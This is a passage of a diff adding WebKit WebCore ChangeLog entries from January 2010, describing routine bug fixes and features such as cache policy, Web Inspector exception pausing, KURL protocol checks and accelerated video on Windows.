+        Reviewed by Adam Roben.
+
+        Use stale cache data when going back and forward but not using WebCore’s page cache
+        https://bugs.webkit.org/show_bug.cgi?id=33993
+        <rdar://problem/7383392>
+
+        No tests since this is a performance change.
+
+        * loader/CachePolicy.h:
+        (WebCore::): Add CachePolicyAllowStale.
+        * loader/DocLoader.cpp:
+        (WebCore::DocLoader::checkForReload): Never reload in the case of
+        CachePolicyAllowStale.
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::subresourceCachePolicy): Return CachePolicyAllowStale
+        if the main resource is being loaded to allow stale data.
+        (WebCore::FrameLoader::addExtraFieldsToRequest): Use ReturnCacheDataElseLoad
+        on back/forward loads - needed when going back of forward to a page with frames.
+
+2010-01-22  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: JavaScript Error in DOMAgent.js:375 (_attributesUpdated)
+        https://bugs.webkit.org/show_bug.cgi?id=33915
+
+        Errors were caused by the fact that Element::attributes calls Element::setAttribute to
+        synchronized the styleAttr. The fix is to simply check the synchronizing style attribute
+        flag.
+
+        * dom/Element.cpp:
+        (WebCore::Element::setAttribute): Checked for case where styleAttr is being synchronized.
+
+2010-01-22  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Update r53711 for GraphicsLayer method rename.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::createLayerForMovie): Rename from change setContentsToVideo.
+
+2010-01-22  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add BlobConstructor to DOMWindow.
+        https://bugs.webkit.org/show_bug.cgi?id=33982
+
+        * page/DOMWindow.idl:
+
+2010-01-22  Brian Weinstein  <bweinstein@apple.com>
+
+        Rubber-stamped by Adam Roben.
+        
+        Commit files that were supposed to be part of r53696, but weren't
+        landed.
+
+        * English.lproj/localizedStrings.js:
+        * manual-tests/debugger-caught-uncaught-exceptions.html: Added.
+
+2010-01-22  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by David Hyatt.
+
+        When scrolling by page, hold back 1/8th of the visible size instead of
+        40 px.
+        https://bugs.webkit.org/show_bug.cgi?id=32595
+
+        * editing/EditorCommand.cpp:
+        (WebCore::verticalScrollDistance):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::updateScrollbars):
+        (WebCore::ScrollView::wheelEvent):
+        * platform/Scrollbar.h:
+        * platform/wx/ScrollViewWx.cpp:
+        (WebCore::ScrollView::ScrollViewPrivate::OnScrollWinEvents):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateScrollInfoAfterLayout):
+
+2010-01-22  Peter Kasting  <pkasting@google.com>
+
+        Not reviewed, backout.
+
+        Back out r52673, which caused several regressions.
+        https://bugs.webkit.org/show_bug.cgi?id=32533
+
+        * platform/PopupMenuClient.h:
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupContainer::hidePopup):
+        (WebCore::PopupListBox::handleKeyEvent):
+        (WebCore::PopupListBox::abandon):
+        (WebCore::PopupListBox::acceptIndex):
+        (WebCore::PopupListBox::selectIndex):
+        (WebCore::PopupListBox::clearSelection):
+        (WebCore::PopupListBox::hidePopup):
+        * platform/gtk/PopupMenuGtk.cpp:
+        (WebCore::PopupMenu::menuUnmapped):
+        * platform/mac/PopupMenuMac.mm:
+        (WebCore::PopupMenu::show):
+        * platform/qt/QtAbstractWebPopup.cpp:
+        (WebCore::QtAbstractWebPopup::popupDidHide):
+        * platform/qt/QtAbstractWebPopup.h:
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::hide):
+        * platform/wx/PopupMenuWx.cpp:
+        (WebCore::PopupMenu::OnMenuItemSelected):
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::popupDidHide):
+        * rendering/RenderMenuList.h:
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::popupDidHide):
+        * rendering/RenderTextControlSingleLine.h:
+
+2010-01-22  Dan Bernstein  <mitz@apple.com>
+
+        Rubber-stamped by Darin Adler.
+
+        Revert r53693 because it broke scrolling of pages with fixed elements on
+        Mac OS X.
+
+        * page/FrameView.cpp:
+        * page/FrameView.h:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollContents):
+        * platform/ScrollView.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleWillChange):
+        (WebCore::RenderObject::destroy):
+
+2010-01-22  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34008
+        Assertion failure in KURL::setProtocol when running DOM Fuzzer
+
+        Test: fast/dom/Window/invalid-protocol.html
+
+        * bindings/js/JSLocationCustom.cpp: (WebCore::JSLocation::setProtocol): Raise an exception
+        if KURL::setProtocol fails.
+
+        * html/HTMLAnchorElement.cpp: (WebCore::HTMLAnchorElement::setProtocol): Move argument
+        tweaking logic into KURL. This way, the ':' trick applies to both JSLocation and
+        HTMLAnchorElement, matching IE (but not Firefox). IE behavior is more permissive, and even
+        more logical in my opinion.
+
+        * loader/FrameLoader.cpp: (WebCore::FrameLoader::iconURL): Assert that setting protocol
+        succeeded.
+
+        * platform/KURL.cpp: (WebCore::KURL::setProtocol): Remove everything past ':', if present.
+        Return false if the protocol to set is not valid.
+        (WebCore::isValidProtocol): Made this work correctly for empty strings.
+
+        * platform/KURL.h: isValidProtocol() is now static in KURL.cpp, it's only used in setProtocol().
+
+        * platform/KURLGoogle.cpp: 
+        (WebCore::KURL::setProtocol): Always return true. This should hopefully prevent Chromium build
+        breakage, alhough tests will likely fail.
+        (WebCore::isValidProtocol): Removed, as this isn't used at the moment.
+
+        * websockets/WebSocketHandshake.cpp: (WebCore::WebSocketHandshake::httpURLForAuthenticationAndCookies):
+        Assert that setting protocol succeeded.
+
+2010-01-22  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Adam Roben.
+
+        <rdar://problem/7373568>
+        https://bugs.webkit.org/show_bug.cgi?id=34007
+        Implement hardware acceleration of video compositing on Windows
+
+        Internally we still have QuickTime render to a bitmap, but frames are then composited
+        with the page using an accelerated renderer.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate): Initialize m_newFrameAvailable.
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate): Call tearDownVideoRendering.
+        (WebCore::MediaPlayerPrivate::cancelLoad): Call tearDownVideoRendering.
+        (WebCore::MediaPlayerPrivate::updateStates): Call setUpVideoRendering once the movie 
+            is ready to draw.
+        (WebCore::MediaPlayerPrivate::isReadyForRendering): New, utility function returns true 
+            only when movie is ready to render.
+        (WebCore::MediaPlayerPrivate::setSize): Remember the size as we need it when rendering 
+            in accelerated mode.
+        (WebCore::MediaPlayerPrivate::setVisible): Call setUpVideoRendering when made visible.
+        (WebCore::MediaPlayerPrivate::paint): Do nothing when rendering to a layer. Move frame 
+            rate drawing code to paintCompleted.
+        (WebCore::MediaPlayerPrivate::paintCompleted): New, clear m_newFrameAvailable and, when 
+            built with DRAW_FRAME_RATE, draw framerate.
+        (WebCore::MediaPlayerPrivate::movieNewImageAvailable): Set m_newFrameAvailable, trigger 
+            repaint differently when drawing to a layer.
+        (WebCore::MediaPlayerPrivate::currentRenderingMode): New, return the current rendering mode.
+        (WebCore::MediaPlayerPrivate::preferredRenderingMode): New, return preferred rendering mode
+            (render to a layer whenever possible).
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering): New, tear down current rendering mode 
+            and set up new mode when necessary.
+        (WebCore::MediaPlayerPrivate::tearDownVideoRendering): New, noop unless rendering to a layer.
+        (WebCore::MediaPlayerPrivate::hasSetUpVideoRendering): New.
+        (WebCore::MediaPlayerPrivate::paintContents): New, callback from compositing layer when it
+            is time to draw the current frame.
+        (WebCore::MediaPlayerPrivate::createLayerForMovie): New, allocate a layer for the movie.
+        (WebCore::MediaPlayerPrivate::destroyLayerForMovie): New, delete movie layer.
+        (WebCore::MediaPlayerPrivate::supportsAcceleratedRendering): New, return true unless the 
+            movie is not ready to render.
+        (WebCore::MediaPlayerPrivate::acceleratedRenderingStateChanged): New, deal with change in 
+            accelerated rendering state.
+        (WebCore::MediaPlayerPrivate::notifySyncRequired): New, callback from compositing layer 
+            when it wants to schedule a redraw.
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+        (WebCore::MediaPlayerPrivate::notifyAnimationStarted):
+        (WebCore::MediaPlayerPrivate::showDebugBorders):
+        (WebCore::MediaPlayerPrivate::showRepaintCounter):
+
+        * platform/graphics/win/QTMovieWin.cpp:
+        (QTMovieWin::getCurrentFrameInfo):
+            New, return information about the offscreen render buffer.
+        (QTMovieWin::initializeQuickTime):
+        * platform/graphics/win/QTMovieWin.h:
+
+2010-01-21  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        The Chromium WebKit API needs to expose storage event related data
+        https://bugs.webkit.org/show_bug.cgi?id=33985
+
+        This change is not visible to layoutTests/web pages.
+
+        * storage/StorageArea.h:
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::setItem): return the old value
+        (WebCore::StorageAreaImpl::removeItem): return the old value
+        (WebCore::StorageAreaImpl::clear): return whether there was anything to clear
+        * storage/StorageAreaImpl.h:
+
+2010-01-22  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        An element that doesn't validate and an invalid element shouldn't share style
+        https://bugs.webkit.org/show_bug.cgi?id=34010
+
+        Test: fast/css/pseudo-invalid-novalidate-001.html
+
+        * css/CSSStyleSelector.cpp: (WebCore::CSSStyleSelector::canShareStyleWithElement): 
+          Separate the check for willValidate from the check for isValidFormControlElement.
+        * html/HTMLFormControlElement.h: The validity method doesn't need to be virtual.
+
+2010-01-22  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Crash in fast/dom/Window/window-properties if Geolocation enabled
+        https://bugs.webkit.org/show_bug.cgi?id=34013
+        
+        Add null check to fix Geolocation crash in fast/dom/Window/window-properties.
+        
+        * page/Geolocation.cpp:
+        (WebCore::createGeoposition):
+
+2010-01-22  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Object.getOwnPropertyDescriptor(window) returns descriptors for properties in the prototype chain
+        https://bugs.webkit.org/show_bug.cgi?id=33948
+
+        Even though prototype properties are proxied by JSDOMWindow::getOwnPropertySlot(),
+        that proxying should not be performed by JSDOMWindow::getOwnPropertyDescriptor().
+
+        This makes getOwnPropertyDescriptor() consistent with getOwnPropertyNames().
+
+        Test: fast/dom/Window/window-property-descriptors.html
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::getOwnPropertyDescriptor):
+
+2010-01-22  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Save the QWebPageClient instead of the ownerWidget in QtAbstractWebPopup
+        
+        The QWebPageClient is required for the QtFallbackWebPopup. QtFallbackWebPopup will
+        need it to create a QGraphicsProxyWidget (in a future commit) for the 
+        QGraphicsWebView's web popup.
+
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::show):
+        * platform/qt/QtAbstractWebPopup.cpp:
+        (WebCore::QtAbstractWebPopup::QtAbstractWebPopup):
+        (WebCore::QtAbstractWebPopup::popupDidHide):
+        (WebCore::QtAbstractWebPopup::valueChanged):
+        (WebCore::QtAbstractWebPopup::itemType):
+        * platform/qt/QtAbstractWebPopup.h:
+        (WebCore::QtAbstractWebPopup::itemText):
+        (WebCore::QtAbstractWebPopup::itemToolTip):
+        (WebCore::QtAbstractWebPopup::itemIsEnabled):
+        (WebCore::QtAbstractWebPopup::itemCount):
+        (WebCore::QtAbstractWebPopup::pageClient):
+        (WebCore::QtAbstractWebPopup::font):
+
+2010-01-22  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed Qt "build" fix.
+
+        * WebCore.pro: Fix warning about missing header file that isn't present anymore.
+
+2010-01-22  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Update copy of the source whenever playbin2's source property
+        changes.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        Connect to the notify::source signal and update the source
+        element pointer from there. This makes sure that we never
+        store a pointer to an old source element.
+
+2010-01-22  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Caught exceptions still pause the debugger.
+        <https://bugs.webkit.org/show_bug.cgi?id=28622>.
+
+        Turn the pauseOnExceptions variable from a bool to an int, because we now have
+        3 states, in an enum: DontPauseOnExceptions, PauseOnAllExceptions, and
+        PauseOnUncaughtExceptions. The status button for pausing on exceptions is now
+        a tri-state button, which cycles from Don't pause (no background) to Pause on All
+        (blue background) to Pause on Uncaught (purple background).
+
+        Also added the ability for a status button to have more than 2 states, and added
+        style rules for a CSS three state button.
+
+        Added a manual test, manual-tests/debugger-caught-uncaught-exceptions.html, that
+        generates caught and uncaught exceptions.
+
+        * English.lproj/localizedStrings.js: Added updated Action / Click to Action text.
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::pauseOnExceptions): Changed from a bool to an int.
+        (WebCore::InspectorBackend::setPauseOnExceptions): Ditto.
+        * inspector/InspectorBackend.h: Ditto.
+        * inspector/InspectorBackend.idl: Ditto.
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::JavaScriptDebugServer): Changed from bool to PauseOnExceptionsState.
+        (WebCore::JavaScriptDebugServer::setPauseOnExceptions): Ditto.
+        (WebCore::JavaScriptDebugServer::exception): Updated logic to see if we are breaking
+            on uncaught exceptions, and check if we have a handler.
+        * inspector/JavaScriptDebugServer.h:
+        (WebCore::JavaScriptDebugServer::): Changed from bool to PauseOnExceptionsState.
+        (WebCore::JavaScriptDebugServer::pauseOnExceptions): Ditto.
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub.prototype.pauseOnExceptionsState): Changed from returning false to returning 0 (stub function).
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype._updatePauseOnExceptionsButton): Updated to new text/new cycling of variables.
+        (WebInspector.ScriptsPanel.prototype._togglePauseOnExceptions): Updated to new text/new cycling of variables.
+        * inspector/front-end/StatusBarButton.js:
+        (WebInspector.StatusBarButton): Added the option for a different number of states.
+        (WebInspector.StatusBarButton.prototype.set toggled): Added rules to toggle on/off with multiple states.
+        * inspector/front-end/inspector.css: Added rules for toggled-1 and toggled-2.
+        * manual-tests/debugger-caught-uncaught-exceptions.html: Added.
+
+2010-01-22  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Eric Seidel.
+
+        [Android] Android platform specific PlatformTouchEvent and PlatformTouchPoint implementations are not upstream.
+        https://bugs.webkit.org/show_bug.cgi?id=33719
+
+        Add the Android specific files and update the Android makefile.
+
+        No new tests as this is all Android-specific code.
+
+        * Android.mk: Add Touch event related files to the makefile.
+        * platform/PlatformTouchEvent.h: Add Android constructor.
+        * platform/PlatformTouchPoint.h: Ditto.
+        * platform/android/PlatformTouchEventAndroid.cpp: Added.
+        (WebCore::PlatformTouchEvent::PlatformTouchEvent): Android implementation.
+        * platform/android/PlatformTouchPointAndroid.cpp: Added.
+        (WebCore::PlatformTouchPoint::PlatformTouchPoint): Android implementation.
+
+2010-01-22  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Do not render the full frame when there is some elements with fixed positioning
+        https://bugs.webkit.org/show_bug.cgi?id=33150
+
+        The RenderObjects with fixed position register to the view
+        to be taken into account while scrolling.
+        The scrolling code update specifically those elements after blitting the pixels.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::registerFixedPositionedObject):
+        (WebCore::FrameView::unregisterFixedPositionedObject):
+        (WebCore::FrameView::scrollContentsFastPath):
+        * page/FrameView.h:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollContents):
+        (WebCore::ScrollView::scrollContentsFastPath):
+        * platform/ScrollView.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleWillChange):
+        (WebCore::RenderObject::destroy):
+
+2010-01-22  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Adding ScriptWrappable into WebCore.
+        This allows to associate custom information when Node
+        gets wrapped into JavaScript wrapper.
+
+        [v8, dom] Add a pointer field to C++ Node class
+        https://bugs.webkit.org/show_bug.cgi?id=32430
+
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/ScriptWrappable.h: Added.
+        (WebCore::ScriptWrappable::ScriptWrappable):
+        * bindings/v8/ScriptWrappable.h: Added.
+        (WebCore::ScriptWrappable::ScriptWrappable):
+        (WebCore::ScriptWrappable::wrapper):
+        (WebCore::ScriptWrappable::setWrapper):
+        (WebCore::ScriptWrappable::clearWrapper):
+        * dom/Node.h:
+
+2010-01-22  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Add stub implementation of dispatchOnInjectedScript method so that
+        Chromium source can compile against it and the main fix for the bug
+        28622 can be landed without breaking Chromium build.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28622
+
+        * inspector/InspectorBackend.h:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+
+2010-01-22  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Dmitry Titov.
+
+        ENABLE(DATABASE) guard is missing in ScriptExecutionContext::~ScriptExecutionContext
+        https://bugs.webkit.org/show_bug.cgi?id=33990
+
+        Add missing ENABLE(DATABASE) guard.
+
+        * dom/ScriptExecutionContext.cpp:
+        (WebCore::ScriptExecutionContext::~ScriptExecutionContext):
+
+2010-01-22  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] GObject DOM bindings
+        https://bugs.webkit.org/show_bug.cgi?id=33590
+
+        * bindings/scripts/generate-bindings.pl:
+
+2010-01-22  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] GObject DOM bindings
+        https://bugs.webkit.org/show_bug.cgi?id=33590
+
+        Rename FEATURE_DEFINES_JAVASCRIPT to FEATURE_DEFINES and remove
+        the hardcoded LANGUAGE_JAVASCRIPT=1, in preparation for its use by
+        the GObject DOM bindings.
+
+        * GNUmakefile.am:
+
+2010-01-22  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7568696> Zoom applied to embedded SVG incorrectly
+        https://bugs.webkit.org/show_bug.cgi?id=33988
+
+        Test: svg/custom/text-zoom.xhtml
+
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::SVGSVGElement): Initialize m_scale.
+        (WebCore::SVGSVGElement::currentScale): If this is the document element,
+        return the frame’s zoom factor. Otherwise, return m_scale.
+        (WebCore::SVGSVGElement::setCurrentScale): If this is the document element,
+        set the frame’s zoom factor. Otherwise, set m_scale and mark for layout.
+        * svg/SVGSVGElement.h: Added m_scale member.
+
+2010-01-21  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [chromium] Add allowPlugins callback to allow per-site enabling of plugins
+        https://bugs.webkit.org/show_bug.cgi?id=33974
+
+        Add a callback into the FrameLoaderClient to let the embedder enable or
+        disable plugins on a per-site basis.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::requestObject):
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::allowPlugins):
+
+2010-01-21  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25501
+        Remove empty font tags when applying a style to a content editable
+        region.
+
+        Test: editing/execCommand/change-font.html
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::isEmptyFontTag):
+
+2010-01-21  Joe Mason  <jmason@rim.com>
+
+        Reviewed by Darin Adler.
+
+        Promote pow argument to double to resolve ambiguous overload (compile fix for RVCT 4.0)
+        https://bugs.webkit.org/show_bug.cgi?id=33952
+
+        * platform/graphics/filters/FEComponentTransfer.cpp:
+        (WebCore::gamma):
+
+2010-01-21  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by David Levin.
+
+        [Android] bindings/v8/ScriptController.cpp needs to include
+        PlatformBridge.h instead of ChromiumBridge.h so that it can
+        be used on both Chromium and Android.
+        https://bugs.webkit.org/show_bug.cgi?id=33673
+
+        Add "static NPObject* pluginScriptableObject(Widget*);" method
+        to PlatformBridge.h
+        Include PlatformBridge.h from ScriptController.cpp.
+
+        No new tests, just platform code.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::createScriptInstanceForWidget):
+        * platform/android/PlatformBridge.h:
+
+2010-01-21  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        history.back() for same-document history traversals isn't synchronous as the specification states.
+        <rdar://problem/7535011> and https://bugs.webkit.org/show_bug.cgi?id=33538
+
+        In resolving https://bugs.webkit.org/show_bug.cgi?id=25570, all history.back()/forward()/go() navigations
+        were made asynchronous. That doesn't agree with the HTML5 spec and might have been overreaching for fixing
+        that particular bug. In working with the new history state APIs I noticed some things that should've been
+        possible were not possible because of this change.
+
+        The change in loading behavior is well covered via modifications to previous tests.
+
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::scheduleHistoryNavigation): Determine beforehand if the traversal is
+          a same-document navigation. If it is, perform the load directly instead of scheduling it.
+
+2010-01-21  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Don't allow Phonon's invisible video widget to keep the app running.
+        https://bugs.webkit.org/show_bug.cgi?id=33842
+
+        The change made in r38223 should not be limited to Qt < 4.5 only.
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+
+2010-01-21  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsDate setter support for type=datetime.
+        https://bugs.webkit.org/show_bug.cgi?id=33939
+
+        Introduce ISODateTime::setMillisecondsSinceEpochForDateTime() and add
+        DateTime type support to ISODateTime::toString().
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setValueAsDate):
+        * html/ISODateTime.cpp:
+        (WebCore::ISODateTime::setMillisecondsSinceEpochForDate):
+         Set Invalid to m_type.
+        (WebCore::ISODateTime::setMillisecondsSinceEpochForDateTime):
+        (WebCore::ISODateTime::setMillisecondsSinceEpochForMonth):
+         Set Invalid to m_type.
+        (WebCore::ISODateTime::setMillisecondsSinceMidnight):
+         Set Invalid to m_type.
+        (WebCore::ISODateTime::toString):
+         Support DateTime type. This always produces UTC representation.
+        * html/ISODateTime.h:
+
+2010-01-21  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fixed <rdar://problem/7562574> ASSERT in WebCore::removeWrapper() at the
+        end of run-webkit-tests
+        
+        This was an ASSERT-only bug, introduced by isolated worlds, which
+        created the novelty of a wrapper that might outlive its wrapper cache.
+        
+        When a wrapper outlived its wrapper cache, both the wrapper's destructor
+        and the wrapper cache's destructor would claim to have uncached the wrapper,
+        causing an ASSERT to fire.
+        
+        The solution is to distinguish between operations that logically add and
+        remove cache entries, and operations that delete whole caches. We track
+        when a cache entry is logically added, and when it's logically removed,
+        independent of whether the actual cache still exists.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::willCacheWrapper):
+        (WebCore::didUncacheWrapper): New names for these functions to help
+        explain what they track.
+
+        (WebCore::DOMWrapperWorld::~DOMWrapperWorld): Don't claim to uncache
+        all the wrappers in the world; we're deleting the cache, not managing its
+        entries.
+
+        (WebCore::cacheDOMObjectWrapper):
+        (WebCore::forgetDOMObject):
+        (WebCore::forgetDOMNode):
+        (WebCore::cacheDOMNodeWrapper):
+        (WebCore::forgetAllDOMNodesForDocument):
+        (WebCore::forgetWorldOfDOMNodesForDocument):
+        (WebCore::takeWrappers):
+        (WebCore::updateDOMNodeDocument): Updated for renames.
+
+2010-01-21  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Sam Weinig.
+
+        SVG JS bindings "context" pointer needs to move onto binding impls
+        https://bugs.webkit.org/show_bug.cgi?id=27243
+
+        Rewrite SVG DOM JSC bindings to use a global DOMObject <-> SVGElement context map, similar to V8's approach.
+        This allows us to remove DOMObjectWithSVGContext and make all SVG JS objects use DOMObjectWithGlobalPointer.
+        We're fitting again in JS_CELL_SIZE, and there's no need to special case SVG anymore.
+
+        Not adding a new test, as we have yet to identify how to test that we're passing around correct global objects.
+        For now this is just a code cleanup which lets me continue making progress in that area of the code.
+
+        * GNUmakefile.am: Add new DOMObjectWithSVGContext.h to build.
+        * WebCore.gypi: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * bindings/js/DOMObjectWithSVGContext.h: Removed.
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::setDOMException): Add comment, that passing 0 context is intentional.
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::createDOMObjectWrapper): Add to JSSVGContextCache, when creating wrappers.
+        (WebCore::getDOMObjectWrapper): Add assertion guarding the JSSVGContextCache is in-sync with the passed context.
+        * bindings/js/JSSVGContextCache.h: Added. Maps DOMObjects to SVGElements - just like V8 approachs to this problem.
+        (WebCore::JSSVGContextCache::wrapperMap):
+        (WebCore::JSSVGContextCache::addWrapper):
+        (WebCore::JSSVGContextCache::forgetWrapper):
+        (WebCore::JSSVGContextCache::propagateSVGDOMChange): 
+        (WebCore::JSSVGContextCache::svgContextForDOMObject):
+        * bindings/js/JSSVGLengthCustom.cpp: Retrieve context from cache, instead of taking it from the JS* class.
+        (WebCore::JSSVGLength::value):
+        (WebCore::JSSVGLength::convertToSpecifiedUnits):
+        * bindings/js/JSSVGMatrixCustom.cpp Ditto.:
+        (WebCore::JSSVGMatrix::multiply):
+        (WebCore::JSSVGMatrix::inverse):
+        (WebCore::JSSVGMatrix::rotateFromVector):
+        * bindings/js/JSSVGPODListCustom.h: Ditto.
+        (WebCore::JSSVGPODListCustom::finishGetter):
+        (WebCore::JSSVGPODListCustom::finishSetter):
+        (WebCore::JSSVGPODListCustom::finishSetterReadOnlyResult):
+        (WebCore::JSSVGPODListCustom::clear):
+        (WebCore::JSSVGPODListCustom::initialize):
+        * bindings/js/JSSVGPODTypeWrapper.h: Ditto.
+        (WebCore::JSSVGDynamicPODTypeWrapper::commitChange):
+        (WebCore::JSSVGStaticPODTypeWrapper::commitChange):
+        (WebCore::JSSVGStaticPODTypeWrapperWithPODTypeParent::commitChange):
+        (WebCore::JSSVGStaticPODTypeWrapperWithParent::commitChange):
+        (WebCore::JSSVGPODTypeWrapperCreatorForList::create):
+        (WebCore::JSSVGPODTypeWrapperCreatorForList::commitChange):
+        * bindings/js/JSSVGPathSegCustom.cpp: Ditto.
+        (WebCore::toJS):
+        * bindings/js/JSSVGPathSegListCustom.cpp: Ditto.
+        (WebCore::JSSVGPathSegList::clear):
+        (WebCore::JSSVGPathSegList::initialize):
+        (WebCore::JSSVGPathSegList::getItem):
+        (WebCore::JSSVGPathSegList::insertItemBefore):
+        (WebCore::JSSVGPathSegList::replaceItem):
+        (WebCore::JSSVGPathSegList::removeItem):
+        (WebCore::JSSVGPathSegList::appendItem):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * svg/SVGAngle.h: Remove unneeded associatedAttributeName() method.
+        * svg/SVGPreserveAspectRatio.h: Ditto.
+        * svg/SVGTransform.h: Ditto.
+
+2010-01-21  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Build fix, add missing header.
+
+        * dom/ScriptExecutionContext.cpp:
+
+2010-01-21  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        -webkit-mask-box-image draws a box while loading
+        https://bugs.webkit.org/show_bug.cgi?id=33979
+        <rdar://problem/7378662>
+        
+        Don't render masked elements until the mask images are fully loaded.
+
+        Test: http/tests/misc/slow-loading-mask.html
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::paintMaskImages): Check that all mask images (both the single mask-box-image,
+        and the possibly multiple mask-image) are fully loaded before allowing the masked content to render.
+        If they are not fully loaded, use a fully transparent transparency layer.
+        
+        * rendering/style/FillLayer.h:
+        * rendering/style/FillLayer.cpp:
+        (WebCore::FillLayer::imagesAreLoaded): New utility function that returns true if the image
+        in every FillLayer is loaded.
+
+2010-01-21  Darin Adler  <darin@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        REGRESSION (r52795): New message created in response to mailto: URL has random character in message body
+        rdar://problem/7565902
+
+        This regression affects the Mac OS X Mail application.
+        I was not able to find a simple way to create a regression test.
+
+        * platform/cf/SharedBufferCF.cpp:
+        (WebCore::SharedBuffer::SharedBuffer): Initialize m_size to 0 as in the other constructors.
+
+2010-01-21  Enrica Casucci  <enrica@apple.com>
